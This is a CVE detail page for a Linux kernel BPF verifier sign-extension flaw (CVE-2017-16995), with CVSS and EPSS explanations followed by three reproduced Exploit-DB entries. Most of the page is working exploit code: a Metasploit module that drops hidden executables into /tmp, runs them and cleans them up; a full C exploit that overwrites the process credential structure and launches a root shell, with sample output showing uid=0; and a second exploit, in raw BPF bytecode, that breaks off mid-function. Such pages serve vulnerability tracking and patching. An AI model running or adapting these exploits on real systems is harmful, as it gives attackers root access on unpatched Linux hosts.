CVE-2017-16995 : Detail

CVE-2017-16995

7.8
/
HIGH
Overflow
0.05%V3
Local
2017-12-22 09:00 +00:00
2021-01-05 18:59 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.4 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45058

Publication date : 2018-07-18 22:00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', 'Description' => %q{ Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) which contains a vulnerability where it may improperly perform sign extension. This can be utilized to escalate privileges. The target system must be compiled with BPF support and must not have kernel.unprivileged_bpf_disabled set to 1. This module has been tested successfully on: Debian 9.0 kernel 4.9.0-3-amd64; Deepin 15.5 kernel 4.9.0-deepin13-amd64; ElementaryOS 0.4.1 kernel 4.8.0-52-generic; Fedora 25 kernel 4.8.6-300.fc25.x86_64; Fedora 26 kernel 4.11.8-300.fc26.x86_64; Fedora 27 kernel 4.13.9-300.fc27.x86_64; Gentoo 2.2 kernel 4.5.2-aufs-r; Linux Mint 17.3 kernel 4.4.0-89-generic; Linux Mint 18.0 kernel 4.8.0-58-generic; Linux Mint 18.3 kernel 4.13.0-16-generic; Mageia 6 kernel 4.9.35-desktop-1.mga6; Manjero 16.10 kernel 4.4.28-2-MANJARO; Solus 3 kernel 4.12.7-11.current; Ubuntu 14.04.1 kernel 4.4.0-89-generic; Ubuntu 16.04.2 kernel 4.8.0-45-generic; Ubuntu 16.04.3 kernel 4.10.0-28-generic; Ubuntu 17.04 kernel 4.10.0-19-generic; ZorinOS 12.1 kernel 4.8.0-39-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit 'vnik', # upstream44.c exploit 'rlarabee', # cve-2017-16995.c exploit 'h00die', # Metasploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Nov 12 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'get-rekt-linux-hardened.c' ], [ 'AKA', 'upstream44.c' ], [ 'BID', '102288' ], [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'EDB', '45010' ], [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" if unprivileged_bpf_disabled? vprint_error 'Unprivileged BPF loading is not permitted' return CheckCode::Safe end vprint_good 'Unprivileged BPF loading is permitted' release = kernel_release if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end
Exploit Database EDB-ID : 45010

Publication date : 2018-07-09 22:00 +00:00
Author : rlarabee
EDB Verified : Yes

/* Credit @bleidl, this is a slight modification to his original POC https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c For details on how the exploit works, please visit https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html Tested on Ubuntu 16.04 with the following Kernels 4.4.0-31-generic 4.4.0-62-generic 4.4.0-81-generic 4.4.0-116-generic 4.8.0-58-generic 4.10.0.42-generic 4.13.0-21-generic Tested on Fedora 27 4.13.9-300 gcc cve-2017-16995.c -o cve-2017-16995 internet@client:~/cve-2017-16995$ ./cve-2017-16995 [.] [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) [.] [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** [.] [*] creating bpf map [*] sneaking evil bpf past the verifier [*] creating socketpair() [*] attaching bpf backdoor to socket [*] skbuff => ffff880038c3f500 [*] Leaking sock struct from ffff88003af5e180 [*] Sock->sk_rcvtimeo at offset 472 [*] Cred structure at ffff880038704600 [*] UID from cred structure: 1000, matches the current: 1000 [*] hammering cred structure at ffff880038704600 [*] credentials patched, launching shell... #id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) */ #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/bpf.h> #include <linux/unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/stat.h> #include <sys/personality.h> char buffer[64]; int sockets[2]; int mapfd, progfd; int doredact = 0; #define LOG_BUF_SIZE 65536 #define PHYS_OFFSET 0xffff880000000000 char bpf_log_buf[LOG_BUF_SIZE]; static __u64 ptr_to_u64(void *ptr) { return (__u64) (unsigned long) ptr; } int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = ptr_to_u64((void *) insns), .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = ptr_to_u64((void *) license), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries, int map_flags) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); } int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) { union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), .flags = flags, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } int bpf_lookup_elem(int fd, void *key, void *value) { union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } #define BPF_ALU64_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_MOV64_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV32_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_LD_IMM64(DST, IMM) \ BPF_LD_IMM64_RAW(DST, 0, IMM) #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32) (IMM) }), \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64) (IMM)) >> 32 }) #ifndef BPF_PSEUDO_MAP_FD # define BPF_PSEUDO_MAP_FD 1 #endif #define BPF_LD_MAP_FD(DST, MAP_FD) \ BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ ((struct bpf_insn) { \ .code = CODE, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = IMM }) #define BPF_EXIT_INSN() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) #define BPF_DISABLE_VERIFIER() \ BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ BPF_EXIT_INSN() /* } */ \ #define BPF_MAP_GET(idx, dst) \ BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ BPF_EXIT_INSN(), /* exit(0); */ \ BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ static int load_prog() { struct bpf_insn prog[] = { BPF_DISABLE_VERIFIER(), BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ BPF_LD_MAP_FD(BPF_REG_9, mapfd), BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ /* store map slot address in r2 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ /* get fp */ BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ /* get skbuff */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ /* read */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), BPF_EXIT_INSN(), /* else */ /* write */ BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), BPF_EXIT_INSN(), }; return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); } void info(const char *fmt, ...) { va_list args; va_start(args, fmt); fprintf(stdout, "[.] "); vfprintf(stdout, fmt, args); va_end(args); } void msg(const char *fmt, ...) { va_list args; va_start(args, fmt); fprintf(stdout, "[*] "); vfprintf(stdout, fmt, args); va_end(args); } void redact(const char *fmt, ...) { va_list args; va_start(args, fmt); if(doredact) { fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); return; } fprintf(stdout, "[*] "); vfprintf(stdout, fmt, args); va_end(args); } void fail(const char *fmt, ...) { va_list args; va_start(args, fmt); fprintf(stdout, "[!] "); vfprintf(stdout, fmt, args); va_end(args); exit(1); } void initialize() { info("\n"); info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); info("\n"); info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); info("\n"); redact("creating bpf map\n"); mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); if (mapfd < 0) { fail("failed to create bpf map: '%s'\n", strerror(errno)); } redact("sneaking evil bpf past the verifier\n"); progfd = load_prog(); if (progfd < 0) { if (errno == EACCES) { msg("log:\n%s", bpf_log_buf); } fail("failed to load prog '%s'\n", strerror(errno)); } redact("creating socketpair()\n"); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { fail("failed to create socket pair '%s'\n", strerror(errno)); } redact("attaching bpf backdoor to socket\n"); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { fail("setsockopt '%s'\n", strerror(errno)); } } static void writemsg() { ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) { fprintf(stderr, "short write: %zd\n", n); } } static void update_elem(int key, unsigned long value) { if (bpf_update_elem(mapfd, &key, &value, 0)) { fail("bpf_update_elem failed '%s'\n", strerror(errno)); } } static unsigned long get_value(int key) { unsigned long value; if (bpf_lookup_elem(mapfd, &key, &value)) { fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); } return value; } static unsigned long sendcmd(unsigned long op, unsigned long addr, unsigned long value) { update_elem(0, op); update_elem(1, addr); update_elem(2, value); writemsg(); return get_value(2); } unsigned long get_skbuff() { return sendcmd(1, 0, 0); } unsigned long get_fp() { return sendcmd(0, 0, 0); } unsigned long read64(unsigned long addr) { return sendcmd(2, addr, 0); } void write64(unsigned long addr, unsigned long val) { (void)sendcmd(3, addr, val); } static unsigned long find_cred() { uid_t uid = getuid(); unsigned long skbuff = get_skbuff(); /* * struct sk_buff { * [...24 byte offset...] * struct sock *sk; * }; * */ unsigned long sock_addr = read64(skbuff + 24); msg("skbuff => %llx\n", skbuff); msg("Leaking sock struct from %llx\n", sock_addr); if(sock_addr < PHYS_OFFSET){ fail("Failed to find Sock address from sk_buff.\n"); } /* * scan forward for expected sk_rcvtimeo value. * * struct sock { * [...] * const struct cred *sk_peer_cred; * long sk_rcvtimeo; * }; */ for (int i = 0; i < 100; i++, sock_addr += 8) { if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { unsigned long cred_struct = read64(sock_addr - 8); if(cred_struct < PHYS_OFFSET) { continue; } unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); if(test_uid != uid) { continue; } msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); msg("Cred structure at %llx\n", cred_struct); msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); return cred_struct; } } fail("failed to find sk_rcvtimeo.\n"); } static void hammer_cred(unsigned long addr) { msg("hammering cred structure at %llx\n", addr); #define w64(w) { write64(addr, (w)); addr += 8; } unsigned long val = read64(addr) & 0xFFFFFFFFUL; w64(val); w64(0); w64(0); w64(0); w64(0); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); #undef w64 } int main(int argc, char **argv) { initialize(); hammer_cred(find_cred()); msg("credentials patched, launching shell...\n"); if(execl("/bin/sh", "/bin/sh", NULL)) { fail("exec %s\n", strerror(errno)); } }
Exploit Database EDB-ID : 44298

Publication date : 2018-03-15 23:00 +00:00
Author : Bruce Leidl
EDB Verified : No

/* * Ubuntu 16.04.4 kernel priv esc * * all credits to @bleidl * - vnik */ // Tested on: // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 // if different kernel adjust CRED offset + check kernel stack size #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <linux/bpf.h> #include <linux/unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/stat.h> #include <stdint.h> #define PHYS_OFFSET 0xffff880000000000 #define CRED_OFFSET 0x5f8 #define UID_OFFSET 4 #define LOG_BUF_SIZE 65536 #define PROGSIZE 328 int sockets[2]; int mapfd, progfd; char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x18\x19\x00\x00\x03\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x00\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x06\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x01\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x07\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x02\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x08\x00\x00\x00\x00\x00\x00" "\xbf\x02\x00\x00\x00\x00\x00\x00" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x03\x00\x00\x00\x00\x00" "\x79\x73\x00\x00\x00\x00\x00\x00" "\x7b\x32\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x02\x00\x01\x00\x00\x00" "\x7b\xa2\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x7b\x87\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00"; char bpf_log_buf[LOG_BUF_SIZE]; static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); } static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1); } static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); if (mapfd < 0) __exit(strerror(errno)); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); if (progfd < 0) __exit(strerror(errno)); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) __exit(strerror(errno)); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) __exit(strerror(errno)); } static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n); } #define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg(); static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value; } static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2); } static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2); } static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val); } static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1); } static void 